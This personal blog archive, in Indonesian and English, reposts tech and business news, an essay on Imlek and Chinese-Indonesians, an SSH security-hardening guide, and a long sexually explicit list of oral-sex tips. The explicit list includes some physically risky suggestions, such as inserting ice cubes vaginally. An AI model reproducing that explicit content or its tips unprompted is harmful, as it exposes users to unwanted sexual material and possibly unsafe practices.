Januar.Sudharsono

2012-01-05T10:28:00.003+07:00

Have 2 Minutes? Check Out Who Has Access to Your Social Media Accounts

Just read this article ini maskable,

You don’t have to be an online privacy expert to understand that’s probably too many, but how many apps have permission to your account?

Israel-based entrepreneur Avi Charkham has cut down the time it will take you to find out. After becoming frustrated with how difficult it is to locate app permission pages on social sites, Charkham compiled direct links to such pages for eight different networks into one place on the site MyPermissions.

“I kept connecting to services, and one day I was looking for the list to remove some of them,” Charkham tellsMashable. “I found that Facebook hid them behind four or five links…and thought to myself, ‘There’s no way people can find this.’ Two clicks I could live with, but four or five made it clear they were hiding it.”

He recently relaunched the list at the domain mypermissions.org, and it took off on Twitter and Facebook after a fan submitted it to Hacker News on Monday. Using the site to help clean up your app permissions takes about two minutes, and you can sign up to receive monthly reminders to review your app permissions thereafter.

Charkham is the cofounder of a web app called MyFamilio that lets families post their family moments privately. The simple MyPermissions site is just a side project and — if you’re looking to better protect your online privacy this year — a favor.

Image courtesy of Flickr, Darwin Bell

It's become obvious people doesn't know when they got trap with apps that connect to their social media.

Which one is you?

2012-01-05T10:13:00.002+07:00

Dapet ini dari profile pict BBM teman.

Teman lama yang sekarang sudah jarang bertemu dan bersua. Memang tipikal orangnya serupa, jadi wajar klo pendapat, pandangan dan pemikirannya sering mirip. Sekarang masih ndak yah ???

Anyway thanks to Her.

2012-01-05T10:10:00.002+07:00

Hi again ....

Rasanya sudah lama tidak bersua di blog ini.
Karena belakangan lagi sering akses lagi ... tidak ada salahnya kayaknya menulis lagi.

2011-12-22T18:38:00.001+07:00

Official Google Enterprise Blog: We’re better together: how cloud, mobile and socia...: Posted by Amit Singh, Vice President, Google Enterprise Who puts in a 9-5 day anymore? Or works on their own? The demands on our time are ...

Maria Sharapova by Dan and Jonny

2011-01-16T05:14:00.000+07:00

Mantan Insinyur Boeing Bocorkan Teknologi ke China

2008-02-12T21:06:00.000+07:00

WASHINGTON, SELASA - Pihak berwenang federal AS menangkap seorang mantan insinyur Boeing yang dituduh membocorkan teknologi ke China. Ia ditengarai menjual informasi tentang teknologi yang digunakan dalam program antariksa, termasuk pada wahana ruang angkasa maupun roket Delta 4.

Agen FBI menangkap Dongfan "Greg" Chung, demikian nama orang tersebut, di rumahnya wilayah Orange, California tanpa insiden, Senin (11/2). Sebelumnya, pria berusia 72 tahun itu telah dituntut delapan pasal terkait kegiatan spionase (mata-mata).

"Chung dituduh mencuri teknologi rahasia yang dikembangkan selama beberapa tahun oleh para insinyur yang disumpah untuk melindungi produknya karena hal tersebut akan dianggap rahasia dagang," ujar pengacara AS Thomas P O'Brien.

Chung adalah keturunan asli China yang telah melakukan naturalisasi sebagai waraga negara AS. Ia bekerja di Rockwell International sejak tahun 1973 sebelum unit usaha pertahanan dan antariksa diakusisi Boeing tahun 1996. Chung keluar dari Boeing tahun 2002, namun tetap bekerja sebagai kontraktor pada program pesawat Beoing di Huntongton Beach, California sampai September 2006.

Hasil investigasi FBI dan NASA menunjukkan bahwa Chung telah melakukan tindakan mata-mata sejak bekerja di program antariksa. Ia awalnya mendapat surat dari seseorang di industri penerbangan China pada tahun 1979 yang meminta informasi spesifik teknologi pesawat ruang angkasa, militer, maupun komersial.

Dalam suart balasannya, Chung bersedia membantu perkembangan industri antariksa di negara asalnya. Chung sempat mengirimkan manual-manual teknik yang dikumpulkannya sendiri termasuk 24 dokumen rahasia milik perusahaan.

Salah satunya tentang pesawat pengebom B1. Ia juga mengirimkan spesifikasi teknologi antena yang digunakan pada pengembangan lanjut wahana ulang alik AS di pertengahan 1990-an dan deskripsi rinci proses pengisian bahan bakar pada roket Delta 4.

Bahkan, Chung sempat melakukan korespondensi dengan pejabat pemerintah China tentang cara pengiriman dokumen-dokumen tersebut agar aman. Antara lain melalui istrinya yang berprofesi sebagai seorang artis.

"Pengungkapan informasi ke luar seperti kepada (Pemerintah Republik Rakyat China) akan membahayakan kemanan nasional kami," tandas O'Brien.(SPACE.COM/WAH)

Yahoo Tolak Tawaran Microsoft

2008-02-12T20:33:00.000+07:00

Liputan6.com, New York: Yahoo belum lama ini telah menolak tawaran akuisisi senilai US$ 40 miliar yang diajukan raksasa software, Microsoft, dengan mengatakan harga penawaran itu terlalu rendah. Perusahaan pengelola portal search engine itu mengatakan penawaran Microsoft masih di bawah nilai Yahoo yang sebenarnya. Hal tersebut jelas tak menjadi daya tarik pemegang saham.

Microsoft mengajukan penawaran mengambil alih Yahoo seharga 31 dolar per saham, adalah 62 persen lebih tinggi dari harga saham Yahoo ketika penawaran akusisi itu dibuat 1 Februari silam. Penggabungan antara Microsoft dan Yahoo akan menjadi sebuah perusahaan teknologi yang besar, dan akan menyejajarkan kembali Yahoo dengan pesaing utamanya, Google.

Tidak putus asa, pihak Microsoft mengatakan penolakan oleh Yahoo itu bukan jalan buntu. Namun, pihak Microsoft tetap percaya penawarannya sudah pantas, bahkan dianggap sudah maksimal dan terbuka. Dalam penolakan penawaran Microsoft, Yahoo berkata, tawaran itu masih terlalu rendah untuk brand, audience, platform investasi periklanan dan prospek pertumbuhan ke depan, potensi pendapatan serta cash flow (arus kas) Yahoo.

Yahoo mengatakan, dewan direkturnya tengah melanjutkan evaluasi semua opsi strategisnya. Sebuah sumber yang dikutip oleh Wall Street Journal mengatakan bahwa direksi Yahoo tidak akan mempertimbangkan berbagai hal lagi dengan harga yang diinginkan 40 dolar per saham.

Adapun pada penutupan perdagangan Senin di New York, Amerika Serikat, saham Microsoft melemah tipis, sementara Yahoo naik 2,3 persen ke posisi 29,87 dolar. Para analis mengatakan Microsoft sepertinya akan datang lagi dengan menaikkan penawarannya. "Ini penting bagi perspektif Microsoft, ada sebuah peluang yang sangat baik yang bisa mendatangkan banyak uang," kata Ian Maude dari Enders Analysis seperti dikutip BBC News.

"Strategi logisnya adalah pada pasar iklan online. Ini (penggabungan Microsoft-Yahoo) akan membuat mereka menjadi tujuan terakhir bagi banyak perusahaan yang tengah mempertimbangkan rencana periklanannya," kata dia.

Sebuah laporan terpisah menyatakan bahwa Yahoo kemungkinan mendekati divisi online Time Warner, AOL, dengan harapan bisa meningkat menjadi sebuah kesepakatan yang mengikat. Meskipun saham Yahoo telah turun tajam dalam bulan ini, situsnya masih termasuk yang terpopuler di dunia.

Nilai pasar Microsoft sebelumnya adalah sekitar 44,6 miliar dolar, tapi sejak program akusisi Yahoo diumumkan harga sahamnya jatuh. Kini nilai pasar Microsoft turun menjadi hanya US$ 41,8 miliar.(ANS/Antara)

Gong Xi Fa Cai

2008-02-08T14:29:00.000+07:00

Jumlah etnis Cina di Indonesia sekitar 3,5 juta. Ini angka proyeksi. Sensus Penduduk tahun 2000 tidak mencatat angka keseluruhan etnis Cina di Indonesia. Yang dicatat adalah per provinsi. Berdasarkan data itu, Leo Suryadinata dkk.(2003) memperkirakan jumlahnya 3 juta atau 1,5 persen. Sedang jumlah penduduk Indonesia keseluruhan, menurut sensus, 205,8 juta. Dengan menggunakan asumsi tingkat pertumbuhan penduduk 1,37 persen per tahun (periode 1990-2000), angka 3,5 juta terbilang moderat.

Sensus Penduduk tahun 2000 adalah sensus pertama sejak kemerdekaan yang mencacah etinisitas, termasuk etnis Cina. Di masa penjajahan, persisnya 1930, sensus sama pernah dilakukan. Ketika itu tercatat 2,03 persen etnis Cina. Dengan alasan bisa menimbulkan konflik SARA (suku, agama, ras, dan antargolongan), sensus penduduk yang diselenggarakan setiap sepuluh tahun sekali menghilangkan pertanyaan tentang etnisitas.

Angka 1,5 persen atau 3,5 juta tentu terasa kecil. Tapi sensus bukan soal rasa. Suka atau tidak, itulah angkanya. Soal berapa persisnya jumlah etnis Cina di Indonesia memang sudah lama menjadi perdebatan. Banyak pakar dan pengamat membuat proyeksi dan perkiraan. Tak jarang bercampur dengan persepsi.

Maka, misalnya, ada yang mengestimasi jumlahnya antara 2,3 juta dan 2,6 juta (antara 2,40 persen dan 2,70 persen) pada 1961 (Skinner, 1963); pada 1965 berjumlah 2,5 juta (N. Iskandar); pada awal 1970-an berjumlah 3,6 juta atau 2,8 persen (Leo Suryadinata, 1978); pada 1970 berjumlah 3 juta (Mackie, 1976); dan pada 1975 berjumlah 5,0 juta (mantan Menlu Adam Malik).

Dibanding negara tetangga, kecuali Filipina, persentase ini terbilang kecil. Di Thailand, misalnya, persentase etnis Cina 13,0 persen, Brunei Darussalam 25,4 persen, Singapura 76,9 persen, dan Malaysia 33,1 persen (Mely G. Tan, 1985).

Persepsi atas besarnya penduduk etnis Cina di Indonesia lebih disebabkan penguasaan ruang publik. Terutama sejak Reformasi, etnis ini tak lagi dilarang mengekspresikan identitas dan budayanya di ruang publik. Perayaan Imlek, misalnya, beberapa tahun terakhir ini begitu meriah dan dahsyat. Di kota-kota besar di Indonesia, terutama yang memiliki fasilitas ruang publik seperti mal dan hotel, ritus Chun Ciek (pesta musim semi) yang mulanya dirayakan kaum petani ini nyaris mewarnai secara fantastis.

Ruang publik media juga tak kalah dahsyatnya. Menjelang dan tepat pada hari H, televisi di Indonesia memborbardir penontonnya dengan program-program yang berkaitan dengan perayaan mensyukuri berkah alam ini. Iklan-iklan di media cetak dan televisi dari berbagai korporasi besar pun seakan berlomba mengucapkan gong xi fa cai.

Apa yang bisa dibaca dari semua ini? Pertama, jumlah menjadi tidak relevan ketika perayaan identitas mengambil ruang publik. Iklan dan program berbau gong xi fa cai yang menghiasi media itu menjelaskan kekuatan etnis minoritas ini memang sungguh dahsyat baik secara ekonomi maupun budaya. Dalam bidang politik belum terlalu terlihat, memang. Ada satu dua figur dan politisi etnis Cina dalam kabinet dan lembaga perwakilan, juga ada partai politik mengusung sentimen entnis Cina, tapi perannya belum begitu menonjol. Bisa dibayangkan seperti apa hebatnya jika tiga kekuataan– ekonomi, budaya, dan politik–ini kelak bergabung.

Orang Jawa, Sunda, dan Madura sebagai etnis bisa saja besar dalam jumlah. Tapi jika jumlah itu tidak bisa ditransformasikan menjadi sebuah kekuatan, ia akan tidak terasa di ruang publik. Ketiga etnis itu bisa saja punya perayaan rakyat seperti Imlek, tapi jika mereka tidak menguasai ruang publik, perayaan identitas dan budaya itu belum tentu juga bisa semeriah dan sespektakuler perayaan Imlek.

Kedua, kita belum tahu atau belum bisa menebak ke mana arah perkembangan budaya ini. Kita belum tahu bagaimana perasaan etnis non-Cina atas hiruk-pikuk perayaan Imlek setiap tahun ini. Yang kita tahu: kita punya Pancasila dan Bhineka Tunggal Ika. Artinya, di sana ada pengakuan akan pluralitas, tapi juga kebersamaan dan toleransi. Yang kita tahu juga: kita pernah punya sejarah hitam rasialisme dan etnis Cina selalu menjadi korban. Peristiwa Sukabumi tahun 1950-an misalnya, atau Peristiwa Mei 1998 di Jakarta.

Ketiga, kita berharap perayaan Imlek tidak dipahami sebagai perebutan ruang publik secara tidak adil dan berlebihan. Kita ingin Imlek, seperti perayaan hari-hari besar pada etnis lain, seperti Galungan untuk etnis Bali, dianggap sebagai bagian dari perayaan manusia Indonesia baru. Pada titik mana persisnya pemahaman dan anggapan ini bisa diterima, sangat tergantung pada tingkat pencampuran (akulturasi) budaya yang pas dan bertolak dari pengendalian diri yang pas pula dari semua etnis.

Gong Xi Fa Cai.

Iskandar Siahaan
Kepala Litbang Liputan 6

Google Raih US$ 8,6 Miliar

2008-02-06T15:33:00.000+07:00

Liputan6.com, Jakarta: Sepanjang tahun 2007, situs mesin pencari (search engine) Google telah meraih pendapatan US$ 8,6 miliar dari para pemasang iklan online di Amerika Serikat. Perolehan ini berarti mencapai 75 persen dari pangsa pasar iklan online di negara tersebut. Sementara pesaing utamanya, Yahoo, hanya menguasai lebih dari sembilan persen pangsa pasar iklan di AS. Sedangkan 16 persen dari bagian itu dikuasai oleh situs online lainnya. Demikian laporan periset bisnis online, e-marketer, Rabu (6/2).

Kendati demikian, e-marketer tidak menyebut siapa yang menguasai sekitar lima persen sisa dari pangsa pasar iklan online di AS yang dijelaskan tersebut. Yang terang, dengan pangsa pasar 75 persen itu, penguasaan pasar Google naik dari tahun 2006 yang 60 persen. Sementara para periset memprediksi pada tahun 2011 peluang pasar iklan search engine mencapai 16,6 juta miliar dolar AS.(ANS/Antara)

SSH: Best Practices

2008-02-05T21:01:00.000+07:00

Introduction

Are you using SSH in the best way possible? Have you configured it to be as limited and secure as possible? The goal of this document is to kick in the new year with some best practices for SSH: why you should use them, how to set them up, and how to verify that they are in place.

All of the examples below assume that you are using EnGarde Secure Linux but any modern Linux distribution will do just fine since, as far as I know, everybody ships OpenSSH.

SSHv2 vs. SSHv1

There are numerous benefits to using the latest version of the SSH protocol, version 2, over it's older counterpart, version 1 and I'm not going into a lot of details on those benefits here - if you're interested, see the URL in the reference below or Google around. That being said if you don't have an explicit reason to use the older version 1, you should always be using version 2.

To use SSHv2 by default but permit SSHv1, locate the "Protocol" line in your sshd_config file and change it to:

Protocol 2,1

When doing 2,1 please note that the protocol selection is left up to the client. Most clients will default to v2 and "fall back" to v1, while legacy clients may continue to use v1. To force everybody to use SSHv2, change it to:

Protocol 2

When you make this change don't forget to generate the appropriate HostKey's as well! SSHv2 requires the following keys:

# HostKeys for protocol version 2
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_dsa_key

While SSHv1 requires:

# HostKey for protocol version 1
HostKey /etc/ssh/ssh_host_key

Once your changes are made, restart the SSH daemon:

# /etc/init.d/sshd restart

[ SUCCESSFUL ] Secure Shell Daemon
[ SUCCESSFUL ] Secure Shell Daemon

From another machine, try SSH'ing in. You can use the -v option to see which protocol is being used, and the '-oProtocol=' option to force one or the other - for example, "ssh -v -oProtocol=2 " would force protocol version 2.

Binding to a Specific Address or Non-Standard Port

If you're running SSH on an internal, firewalled, workstation then you can probably skip this section, but if you're running SSH on a firewall or on a machine with two network interfaces, this section is for you.

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Out of the box OpenSSH will bind to every available network address; while convenient and suitable for most installations, this is far from optimal. If your machine has two or more interfaces then the odds are that one is "trusted" and the other is "untrusted." If this is the case, and you don't need nor want SSH access coming in on the untrusted interface, then you should configure OpenSSH to listen on a specific interface.

To have OpenSSH only bind to your internal interface, 192.168.0.1 in the example below, locate the following line in your sshd_config file:

ListenAddress 0.0.0.0

and change the 0.0.0.0 to 192.168.0.1:

ListenAddress 192.168.0.1

To verify that this change took, restart OpenSSH and look at netstat:

# /etc/init.d/sshd restart

[ SUCCESSFUL ] Secure Shell Daemon
[ SUCCESSFUL ] Secure Shell Daemon

# netstat -anp | grep sshd

tcp 0 0 192.168.0.1:22 0.0.0.0:* LISTEN 7868/sshd

As you can see, the sshd daemon is now only listening on 192.168.0.1. SSH requests coming in any other interface will be ignored.

Similarly, you may want to change the port that the SSH daemon binds to. Sometimes there is a functional need for this (ie, your employer blocks outbound 22/tcp) but there is also security-through-obscurity value in this as well. While not providing any real security benefit against a determined attacker, moving the SSH daemon off of port 22 protects you against automated attacks which assume that the daemon is running on port 22.

To have OpenSSH bind to a port other than port 22, 31337 in the example below, locate the following line in your sshd_config file:

Port 22

and change the 22 to 31337:

Port 31337

To verify that this change took, restart OpenSSH and, again, look at netstat:

# netstat -anp | grep sshd

tcp 0 0 192.168.0.1:31337 0.0.0.0:* LISTEN 330/sshd

Finally, to SSH into a host whose SSH daemon is listening on a non-standard port, use the -p option:

ssh -p 31337 user@192.168.0.1

Using TCP Wrappers

TCP Wrappers are used to limit access to TCP services on your machine. If you haven't heard of TCP Wrappers you've probably heard of /etc/hosts.allow and /etc/hosts.deny: these are the two configuration files for TCP Wrappers. In the context of SSH, TCP Wrappers allow you to decide what specific addresses or networks have access to the SSH service.

To use TCP Wrappers with SSH you need to make sure that OpenSSH was built with the -with-tcp-wrappers. This is the case on any modern distribution.

As I indicated earlier, TCP Wrappers are configured by editing the /etc/hosts.deny and /etc/hosts.allow files. Typically you tell hosts.deny to deny everything, then add entries to hosts.allow to permit specific hosts access to specific services.

An example:

#
# hosts.deny    This file describes the names of the hosts which are
#               *not* allowed to use the local INET services, as decided
#               by the '/usr/sbin/tcpd' server.
#
ALL: ALL
#
# hosts.allow   This file describes the names of the hosts which are
#               allowed to use the local INET services, as decided
#               by the '/usr/sbin/tcpd' server.
#
sshd: 207.46.236. 198.133.219.25

In the example above, access to SSH is limited to the network 207.46.236.0/24 and the address 198.133.219.25. Requests to any other service from any other address are denied by the "ALL: ALL" in hosts.deny. If you try to SSH into a machine and TCP Wrappers denies your access, you'll see something like this:

ssh_exchange_identification: Connection closed by remote host

This simple configuration change significantly hardens your installation since, with it in place, packets from hostile clients are dropped very early in the TCP session -- and before they can do any real damage to a potentially vulnerable daemon.

Public Key Authentication

The last item I will cover is public key authentication. One of the best things you can do to tighten the security of your SSH installation is to disable password authentication and to use public key authentication instead. Password authentication is suboptimal for many reasons, but mostly because people choose bad passwords and attackers routinely try to brute-force passwords. If the systems administrator has chosen a bad password and he's permitting root logins... game over.

Public key authentication is no silver bullet - similarly, people generate passphrase-less keys or leave ssh-agents running when they shouldn't - but, in my opinion, it's a much better bet.

Just about every distribution ships with public key authentication enabled, but begin by making sure it is:

RSAAuthentication yes
PubkeyAuthentication yes

Both of these options default to "yes" and the "RSAAuthentication" option is for SSHv1 and the "PubkeyAuthentication" option is for SSHv2. If you plan on using this authentication method exclusively, while you're there, you may want to disable password authentication:

PasswordAuthentication no

Before you proceed, make sure you have a terminal open on your target machine. Once you restart the SSH daemon you will no longer be able to log in without a key... which we haven't generated yet!

Once you're sure, restart the SSH daemon:

# /etc/init.d/sshd restart

[ SUCCESSFUL ] Secure Shell Daemon
[ SUCCESSFUL ] Secure Shell Daemon

Now, from your desktop, try to SSH in to your target machine:

$ ssh rwm@brainy

Permission denied (publickey,keyboard-interactive).

We're locked out! This is a good thing. The next step, on your desktop, is to generate a key:

$ ssh-keygen -t dsa -C "Ryan's SSHv2 DSA Key (Jan 2008)"

Generating public/private dsa key pair.
Enter file in which to save the key (/home/rwm/.ssh/id_dsa):
Enter passphrase (empty for no passphrase): **********
Enter same passphrase again: **********
Your identification has been saved in /home/rwm/.ssh/id_dsa.
Your public key has been saved in /home/rwm/.ssh/id_dsa.pub.
The key fingerprint is:
98:4d:50:ba:ee:8b:79:be:b3:36:75:8a:c2:4a:44:4b Ryan's SSHv2 DSA Key (Jan 2008)

A few notes on this:

You can generate a DSA (-t dsa), RSA (-t rsa), or SSHv1 (-t rsa1) key. In the example above I'm using dsa.

I like to put the date I generated the key in the comment (-C) field, that way I can change it out every so often.

You're entering a passphrase, not a password. Use a long string with spaces and punctuation. The longer and more complicated the better!

The command you just ran generated two files - id_dsa, your private key and id_dsa.pub, your public key. It is critical that you keep your private key private, but you can distribute your public key to any machines you would like to access.

Now that you have generated your keys we need to get the public key into the ~/.ssh/authorized_keys file on the target machine. The best way to do this is to copy-and-paste it - begin by concatenating the public key file:

$ cat .ssh/id_dsa.pub

ssh-dss AAAAB3NzaC1kc3MAAACBAL7p6bsg5kK4ES9BWLPCNABl20iQQB3R0ymaPMHK...
... ds= Ryan's SSHv2 DSA Key (Jan 2008)

This is a very long string. Make sure you copy all of it and that you do NOT copy the newline character at the end. In other words, copy from the "ssh" to the "2008)", but not past that.

The next step is to append this key to the end of the ~/.ssh/authorized_keys file on your target machine. Remember that terminal I told you to keep open a few steps ago? Type the following command into it, pasting the key you've just copied into the area noted KEY:

echo "KEY" >> ~/.ssh/authorized_keys

For example:

echo "ssh-dss AAAA5kS9BWLPCN...s= Ryan's SSHv2 DSA Key (Jan 2008)" >> ~/.ssh/authorized_keys

Now, try to SSH in again. If you did this procedure correctly then instead of being denied access, you'll be prompted for your passphrase:

$ ssh rwm@brainy

Enter passphrase for key '/home/rwm/.ssh/id_dsa':
Last login: Thu Jan 10 14:37:14 2008 from papa.engardelinux.org
[rwm@brainy ~]$

Viola! You're now logged in using public key authentication instead of password authentication.

In Summary...

SSH is a wonderful tool and is every systems administrators second best friend (Perl, of course, being the first :). It allows you to read your email from anywhere, provided you still use a terminal-based mail reader. It allows you to tunnel an xterm or X11 application from your home server to your desktop at work. It provides you a far superior alternative to FTP in SFTP and SCP.

SSH is great but just like any tool, it's only as good as you use it. I hope that you found value in some of my best practices and if you have any of your own, leave them in the comments!

Before I go, here are some additional resources on SSH:

The OpenSSH Project

SSH, The Secure Shell: The Definitive Guide

Introduction to SSH Versions 1 and 2

Knock, Knock, Knockin' on EnGarde's Door (with FWKNOP)

50 Cunnilingus Tips from Women

2008-01-02T02:53:00.000+07:00

We've received thousands of cunnilingus tips over the years. Here are some of the best tips we've received from women. Men, listen up!

Use smooth, steady, slow rhythmic licks. Slow and steady wins the race

I am new to this whole oral sex thing. My husband decided to eat me out the other night. He made these motions with his tongue and told me to guess what he was spelling against my clit. I thought it would be weird to have him do that but it really relaxed me and I had fun with it. So guys: Spell out little messages like "I love you" or "You taste good." It will take any hesitation away from your girl while she's decoding your playful messages.

At Wal-Mart they have these little ice trays that make tubular ice for bottles. They sell the trays for a dollar each. Get small pieces of (what my husband and I now refer to as) Cooter Ice. Slip them around the clit and into the vaginal opening. It makes for wicked sensation.

In regard to oral sex in particular, you MUST know your lover's sensitivity level. I, for one, am ultra-sensitive. If someone just dives in and attacks my clit, uses teeth, has no variation in technique, then I will probably still orgasm; however, I will be too sore to go again for hours or even days. This is extremely irritating!

If I start moving toward your tongue, it's because you and I have found the exact "spot"...let ME move, don't you move.

The secret is to soften the tongue and work around the clitoral area rather than aggressively attacking the clit. Variation of pattern is also important. Once I'm truly horny, an occasional flick of the tongue is ok--but only occasionally. I also think that stimulation of the G-spot, which is basically adjacent to the clit on the inside of the vagina, is important as it creates a much deeper, more intense orgasm.

Nothing is more erotic than being held open with gentle loving hands. It gives direct access to the clit and he works it so well. I melt every time! When his elbows are planted at shoulder width (my lover's shoulders are quite wide) and he has me open and exposed, working away, there is no way I am able to get away.

I totally agree with starting slow and looking her in the eyes. That drives me crazy. Another thing that makes me crazy is when my guy moans or growls while kissing and licking my pussy. The reverberations from the deepness of his voice drive me wild! Not to mention hearing him enjoy himself gets me off even harder.

If you boys start it... KNOW that it may take awhile! Finish what you started and once you've found her hot spot, stay there!

If I know I'm going to get a good eating from my man, I will eat pineapple throughout the day. He says it makes me taste unbelievable! I've also heard watermelon and celery will change the taste of your juices.

Having had my pussy licked, sucked, eaten, and savored by both men and women, I can tell you that the best way to find out what she likes is to get her to play with herself. Follow her lead, and it will change each time. Sometimes my pussy wants it hard, really hard, and sometimes only the slightest feather touch will make me explode.

Keep a steady rhythm going, and keep your tongue relaxed! Pointed tongues are too harsh on the clit, and actually desensitize. Another thing to keep in mind is that just because she's moaning louder doesn't mean she suddenly wants you to start going faster, make crazy figure eights, or gnaw on it. It means she likes EXACTLY what you've been doing. When a guy is doing something I really like, I'll usually say, "Don't stop," which means, "Don't stop exactly what you're doing right now."

I find that just the tip of my partner's finger inserted in my pussy after he's been eating me out for little while - barely moving, just sort of tickling the entrance - makes me go nuts. Pussy eating is a delicate matter, so don't thrust your finger too vigorously. You're just trying to gently tickle her into coming!

I like a guy to ask me how I like my pussy licked so I can help him find that awesome combination that makes me squirt without worrying about hurting his feelings or making him think I don't enjoy his moves. It takes a really great and confident lover to ask for feedback during hot sex. It makes me crazy!

I like my man to slip his fingers into my cunt while he is paying attention to my clit! Men, if you look like you are really enjoying yourself, too, it makes all the difference. A former boyfriend used to growl into my pussy when he went down on me which was unbelievably erotic and made me feel really wanted!

Don't forget about using the nose too! I love feeling my man's nose nuzzling my clit, and feeling his breathing on me, especially the moaning exhaling and him inhaling (smelling) me. Also, I don't know why, but the "wet" sound turns me on... the creamy, squishy, squelching noises.

Don't bite the clit. Men don't like having their dicks bitten and we don't like having our clits bitten either. It hurts and will very quickly get us out of the mood.

Don't drool and don't make loud sucking sounds. It's disgusting. A major turn off.

Popsicles are a good idea. They make a guy's tongue cold and the sensation is amazing. That, and the taste will be better for the guy. It's a win-win situation.

Deep kiss her clit. I love my partner deep kissing my clit, taking both lips of my vagina. I want him/her to suck on them for a long time before concentrating on my clitoris.

Tongue fucking is what rocks my world. Clit play is nice to get me hot, but after that, I want your tongue flicking across my hole for a while, teasing me with the idea of going in, then giving it all to me. Clit play gets boring after awhile and many women are too sensitive there anyhow.

Don't forget to warm us up first. Just like BJs aren't that great if we take your pants off and deep throat you off the bat, we like to be teased with the idea for a while, and get really, really aroused before you get started. It makes the orgasm THAT much harder.

I hate the finger penetration while sucking on the clit...it's distracting. Most guys just suck the life out of you because they think it's wonderful. Licking is wonderful too. Try it. The most important thing is to watch her reaction. If she's just lying there quiet, then she is bored and wishes you would stop.

Don't forget to be patient. It's not like in a porn movie - most women do not have an orgasm with in a minute or two. Like any good thing in life, it takes time and is worth waiting for.

Stop and make her need it. Finger her now, slowly at first, and kiss her thighs. Start again by flicking her clit with your tongue, light pressure, then experiment with other pressure and movement. Everything on the clit feels good, but some moves feel GREAT! Play around with tongue pressure and fingering and ass fingering or ass tickling/licking (if she wants it).

Use your entire face. Nothing is more frustrating than a hesitant tongue. The chin rubbing on the opening to the vagina adds to the pleasure. Also, let her know you enjoy it as well. Moan a little. A woman can tell if it's a chore.

Definitely start off with light kissing and slow deliberate strokes of the tongue. Then do some circling. If your girlfriend feels your tongue is too rough when you start off, you can tell because her movements will be too jerky and squirmish. That's your hint to either slow down, decrease pressure, or find another place to lick for a few minutes till she warms up.

Once I'm warmed up, I like spreading my legs wide and enjoying the hot wet lickage. What turns me on the most is talking dirty. I like asking my dude if he likes my pussy. So tell her some stuff (in between licks) that will blow her mind and enjoy what is bound to come next.

My tip to all men is don't put a whole lot of saliva in her when you're licking her. It feels better when there isn't a loogie inside us we can feel.

Don't shake your face - no one likes that! Also, complimenting her on her appearance down there boosts sexual confidence, which could lead to bigger and better things.

There is nothing I love more than his mouth on my clit and two fingers inside me. It doesn't really matter if his tongue moves back and forth, side to side, or in circles. All that matters is that once he chooses a method he sticks to it and DOESN'T CHANGE OR STOP. After a little of this I'm begging and pleading for his fingers inside me at the same time. They don't need to thrust because everything is already so sensitive. He just slides his fingers in and does a slight "come here" type motion while continuing to use his mouth on my clit and I usually respond by coming quickly indeed!

Ask your girl while you are downtown, "Right here?" and have her guide you. And once she says "YES, right there," don't stop. Don't change technique or location unless she asks you to. Too many times I have been right on the verge of cumming and the guy changes positions, my clit goes into spasms and I didn't even get to enjoy it. Damn, that pisses me off.

A rigid pointy tongue is horrible, but a soft flat tongue is amazing.

Enjoy it! We always get more pleasure if we feel that the guy is REALLY having fun. If I see that my boyfriend is doing it under pressure, I won't enjoy it either.

I like to lay on my back while he rests his head on my left leg and begins to kiss, lick and suck me. He purses his lips as if he is saying "OOOH" and grasps my clit with his mouth, thrusting his tongue through his lips and rolling it around my button. Sometimes he goes back and forth and then around, always doing this very gently at first, then with more pressure as I began to go crazy. In Asia they call this cunnilingus technique "polishing her pearl."

My boyfriend does this thing right on the clit, kind of like he is saying "LA LA LA LA!" really fast and then slowly licks up every once in awhile. Oh my god! It's great! People, I have had multiple orgasms from this little technique! And boys, I advise trying this on your girl!

I like it when my lover's tongue slowly takes the tour of my labia then moves up to my clitoris, and while their tongue is concentrating there, their lower lip moist from saliva and my love juices is brushing gently around my perineum, with an occasional glance across my anus. It makes my asshole pucker and the sphincter response sends ripples through my vagina.

Just because she has cum does not mean that you are done. Don't be afraid to give her clit a gentle massage with your tongue and lips as if you're calming it down just to get all worked up again.

Make noises when you're eating the pussy. You want her to believe that eating her pussy is the best thing you ever tasted. Think of your favorite food and pretend the pussy is just that.

That other girl was right about the "tongue fucking." Generally tongues aren't long enough to stimulate the area really well. The general entrance isn't all that sensitive and it won't really accomplish much. I'm not saying to only stick to the clit...by all means, have a wander, especially in the beginning. But just don't spend too much time trying to "tongue fuck" unless you're Gene Simmons.

I love it when my boyfriend hums on my pussy. No songs, just a hum. It feels like a vibrator while he is licking on my pussy

My boyfriend wasn't confident he was getting the right spot to start with, so we found it helped to place a CD over my vagina so the hole matched the position of the clitoris. That way he couldn't go wrong.

Some women like a consistent rhythm when getting eaten out. Don't just dive in. Pay attention to where you are licking, how fast, and how your tongue is shaped when you do it. I personally find that a flat tongue against my clit at a steady pace (usually medium speed to start and gradually faster as I get closer to an orgasm) is most satisfying, especially if you are a beginner.

There is nothing worse than a guy who finds a licking technique that the woman likes and then changes his speed or tongue position mid-lick because he is afraid she is getting bored. Really your girl is just going to get frustrated and it is going to be harder to make her cum. If she acts as if she likes what you are doing - STICK WITH IT!!! Don't change your technique because your guy friends tell you that it is best to try a bunch of tricks all in the same session. Just pay attention to her!

Focus on the clit! Guys usually just want to lick all over, but that's never going to get the girl to orgasm anytime soon. Just focus on licking the clit in a solid motion or in circles, and then simultaneously finger her in her vagina. Do both of those at the same time, and she'll be reaching orgasm and begging for more!

I like when my man spreads my legs wide then takes both hands to hold my lips apart while he licks around my pussy, gently flicking my clit, slowly at first then faster and faster until I cum. It drives me wild. It really makes me feel like he is so into eating me out and that there's no other place he'd rather be.

We have something like 5 times the nerve endings as men do "down there." So more pressure, more motion, etc., really isn't more. It's just distracting and/or painful.

As a woman, the best thing I can say is, don't just start going at it! It is uncomfortable and it helps if you set the mood first. Teasing and blowing really feels good. Let your mouth do the work, not your hands!

I love it when my man uses ice cubes. He gets a cup and fills it full of ice and then slowly pushes them in one by one. When they're in, he starts to lick and kiss my clit, and once they're melted a little, he'll suck them out one by one. It's an amazing combination of the two temperatures and gives me an amazing orgasm.

Ask her what she wants! We are all different and like it different ways. What worked for your last lady might not be on the list for your next. I like a tongue soft and light on my clit until I tell you to suck it! WE will let you know what feels good. Just ask!

Brain/Machine Interfaces Approaching Usefulness

2007-06-23T01:25:00.000+07:00

